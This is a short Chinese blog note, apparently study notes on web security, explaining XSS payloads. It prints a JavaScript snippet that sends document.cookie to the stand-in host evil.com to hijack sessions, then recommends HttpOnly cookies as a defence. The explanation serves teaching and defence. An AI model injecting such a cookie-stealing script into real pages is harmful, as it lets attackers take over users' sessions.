链滴

# 【白帽子讲 web 安全】XSS Payload

作者：liononon

原文链接：https://ld246.com/article/1473558481391

来源网站：链滴

XSS Payload其实就是一段Javascript脚本（还可以是Flash或其他富客户端的本），所以任何JavaScript脚本能实现的功能，XSS Payload都能做到。一个最常见的XSS Payload就是通过读取浏览器的Cookie对象，从而发起“Cookie 劫持”攻击
Example
 
<pre class="brush: js">var img = document.createElement(“img”);

img.src = “  http://www.evil.com/log?”+escape(document.cookie);

document.body.appendChild(img);</pre>

 
可以通过XSS将这段代码注入到目标页面中，并在最后将document.cookie对作为参数发送到远程服务器
 
set-cookie时要httponly